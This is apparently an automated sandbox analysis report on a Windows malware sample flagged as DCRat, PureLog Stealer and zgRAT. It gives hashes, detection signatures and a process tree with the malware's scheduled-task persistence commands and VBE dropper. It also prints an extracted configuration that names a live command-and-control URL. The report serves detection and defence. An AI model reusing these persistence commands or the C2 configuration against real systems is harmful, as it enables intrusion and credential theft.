Edit tour

Windows Analysis Report
gorkmTnChA.exe

Overview

General Information

Sample name:	gorkmTnChA.exe renamed because original name is a hash value
Original sample name:	E4E1923F51EB61ED20CBBFAB84AB25B5.exe
Analysis ID:	1570976
MD5:	e4e1923f51eb61ed20cbbfab84ab25b5
SHA1:	f50f90821c5e40a6b5289b8a0b084f831177cbef
SHA256:	093e2a0c52459c17133b8dce76c887d8eb3588f2fdfc7b1cfb342a7225b6cdd6
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Creates processes via WMI

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Execution From GUID Like Folder Names

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

gorkmTnChA.exe (PID: 6524 cmdline: "C:\Users\user\Desktop\gorkmTnChA.exe" MD5: E4E1923F51EB61ED20CBBFAB84AB25B5)

DCRatBuild.exe (PID: 3384 cmdline: "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe" MD5: A7645CAC446E39F9961F51E3BB1C0515)

wscript.exe (PID: 1748 cmdline: "C:\Windows\System32\WScript.exe" "C:\bridgeMonitorDhcpCommon\osBsCLbPfQftwHCHlhElxAOzJXM9OXwC38dZCkih.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 7312 cmdline: C:\Windows\system32\cmd.exe /c ""C:\bridgeMonitorDhcpCommon\KQ5XnVOYWwQFrPTZ9PsIrToBZTIRzi3E3YTHck8Ca7MF45bBlpw.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

webDriverintoDll.exe (PID: 7364 cmdline: "C:\bridgeMonitorDhcpCommon/webDriverintoDll.exe" MD5: 26C2B88440A62B4CB79201E01A404BD2)

schtasks.exe (PID: 7620 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 7 /tr "'C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7636 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7652 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 14 /tr "'C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7668 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7684 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7700 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7716 cmdline: schtasks.exe /create /tn "ApplicationFrameHostA" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\Favorites\ApplicationFrameHost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7732 cmdline: schtasks.exe /create /tn "ApplicationFrameHost" /sc ONLOGON /tr "'C:\Users\Default User\Favorites\ApplicationFrameHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7748 cmdline: schtasks.exe /create /tn "ApplicationFrameHostA" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\Favorites\ApplicationFrameHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7764 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 8 /tr "'C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7780 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7800 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 10 /tr "'C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7816 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7832 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7848 cmdline: schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7888 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\uMu0Nxwczl.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7940 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7960 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

KAdpNCgonFhCnlBRasdZerWl.exe (PID: 8132 cmdline: "C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe" MD5: 26C2B88440A62B4CB79201E01A404BD2)

SandeLLoCHECKER_Installer.exe (PID: 6036 cmdline: "C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe" MD5: 8A0591A6B534E32FA179F2D781B79026)

msiexec.exe (PID: 5480 cmdline: "C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Local\Temp\{F123046A-2CBF-4743-A59B-E3D2751B5780}\51B5780\SandeLLoCHECKER_Installer.msi AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1733667848 " AI_FOUND_PREREQS=".NET Framework 4.8 (web installer)" MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 7076 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 3804 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 26CF464DBA35F416758053A43B23FD3D C MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 7184 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 7BC9C83AA604E4F7E55BC37E42BF8976 C MD5: 9D09DC1EDA745A5F87553048E57620CF)

KAdpNCgonFhCnlBRasdZerWl.exe (PID: 8000 cmdline: "C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe" MD5: 26C2B88440A62B4CB79201E01A404BD2)

KAdpNCgonFhCnlBRasdZerWl.exe (PID: 8028 cmdline: "C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe" MD5: 26C2B88440A62B4CB79201E01A404BD2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://185.246.67.73/Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
gorkmTnChA.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
gorkmTnChA.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\Favorites\ApplicationFrameHost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\Default\Favorites\ApplicationFrameHost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\Favorites\ApplicationFrameHost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\Favorites\ApplicationFrameHost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\Favorites\ApplicationFrameHost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\Favorites\ApplicationFrameHost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author
00000024.00000002.2899943903.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000003.1654559691.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000001.00000003.1656268229.00000000051CA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000001.00000003.1655715436.000000000688F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000000.1775306001.00000000004E2000.00000002.00000001.01000000.00000015.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000024.00000002.2899943903.0000000003277000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000024.00000002.2899943903.0000000003661000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000000.1648785828.0000000000408000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.1853703523.0000000012EE9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: webDriverintoDll.exe PID: 7364	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: KAdpNCgonFhCnlBRasdZerWl.exe PID: 8028	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
1.3.DCRatBuild.exe.5218700.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
1.3.DCRatBuild.exe.5218700.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.0.webDriverintoDll.exe.4e0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
11.0.webDriverintoDll.exe.4e0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.3.DCRatBuild.exe.68dd700.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
1.3.DCRatBuild.exe.68dd700.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.3.DCRatBuild.exe.68dd700.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
1.3.DCRatBuild.exe.68dd700.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.gorkmTnChA.exe.2c2170f.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.gorkmTnChA.exe.2c2170f.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.0.gorkmTnChA.exe.45797b.3.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.gorkmTnChA.exe.45797b.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.0.gorkmTnChA.exe.45797b.3.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.gorkmTnChA.exe.45797b.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.0.gorkmTnChA.exe.400000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.gorkmTnChA.exe.400000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.0.gorkmTnChA.exe.409294.2.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.gorkmTnChA.exe.409294.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Execution From GUID Like Folder Names

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Local\Temp\{F123046A-2CBF-4743-A59B-E3D2751B5780}\51B5780\SandeLLoCHECKER_Installer.msi AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1733667848 " AI_FOUND_PREREQS=".NET Framework 4.8 (web installer)", CommandLine: "C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Local\Temp\{F123046A-2CBF-4743-A59B-E3D2751B5780}\51B5780\SandeLLoCHECKER_Installer.msi AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1733667848 " AI_FOUND_PREREQS=".NET Framework 4.8 (web installer)", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\msiexec.exe, NewProcessName: C:\Windows\SysWOW64\msiexec.exe, OriginalFileName: C:\Windows\SysWOW64\msiexec.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe, ParentProcessId: 6036, ParentProcessName: SandeLLoCHECKER_Installer.exe, ProcessCommandLine: "C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Local\Temp\{F123046A-2CBF-4743-A59B-E3D2751B5780}\51B5780\SandeLLoCHECKER_Installer.msi AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1733667848 " AI_FOUND_PREREQS=".NET Framework 4.8 (web installer)", ProcessId: 5480, ProcessName: msiexec.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\bridgeMonitorDhcpCommon\osBsCLbPfQftwHCHlhElxAOzJXM9OXwC38dZCkih.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\bridgeMonitorDhcpCommon\osBsCLbPfQftwHCHlhElxAOzJXM9OXwC38dZCkih.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, ParentProcessId: 3384, ParentProcessName: DCRatBuild.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\bridgeMonitorDhcpCommon\osBsCLbPfQftwHCHlhElxAOzJXM9OXwC38dZCkih.vbe" , ProcessId: 1748, ProcessName: wscript.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T15:27:23.309899+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49743	185.246.67.73	80	TCP

ETPRO MALWARE MSIL/Zbrain PUP/Stealer Installer UA

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T15:27:00.047076+0100	2829202	1	A Network Trojan was detected	192.168.2.4	49730	172.67.184.109	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: gorkmTnChA.exe	Avira: detected
Source: gorkmTnChA.exe	Avira: detected
Source: gorkmTnChA.exe	Avira: detected
Source: gorkmTnChA.exe	Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\Default\Favorites\ApplicationFrameHost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\BXyiPEuJ.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\Desktop\ClgJzaDG.log	Avira: detection malicious, Label: HEUR/AGEN.1362695
Source: C:\Users\user\AppData\Local\Temp\uMu0Nxwczl.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Avira: detection malicious, Label: TR/Redcap.apero
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342

Found malware configuration

Source: 0000000B.00000002.1853703523.0000000012EE9000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://185.246.67.73/Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	ReversingLabs: Detection: 63%
Source: C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe	ReversingLabs: Detection: 63%
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	ReversingLabs: Detection: 63%
Source: C:\Users\Default\Favorites\ApplicationFrameHost.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\AOGsABiv.log	ReversingLabs: Detection: 15%
Source: C:\Users\user\Desktop\BXyiPEuJ.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\GKQhrBJx.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\JrPikvxc.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\MAAYLQkP.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\OfhhMrNQ.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\UvPgJftz.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\XaQepXPR.log	ReversingLabs: Detection: 15%
Source: C:\Users\user\Desktop\XgvwQtEs.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\ZkmfqpvS.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\aHPfiQDx.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\dYYVtYJg.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\hwUMgwXg.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\jyGvCfcb.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\lNILRSep.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\nBMUCfZn.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\uAoBkxMT.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\wKKCkQsU.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\xqfrsuNN.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\yYksYVbT.log	ReversingLabs: Detection: 20%
Source: C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe	ReversingLabs: Detection: 63%
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: gorkmTnChA.exe

ReversingLabs: Detection: 100%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Joe Sandbox ML: detected
Source: C:\Users\Default\Favorites\ApplicationFrameHost.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\BXyiPEuJ.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\ClgJzaDG.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\AOGsABiv.log	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: gorkmTnChA.exe

Joe Sandbox ML: detected

Source: gorkmTnChA.exe

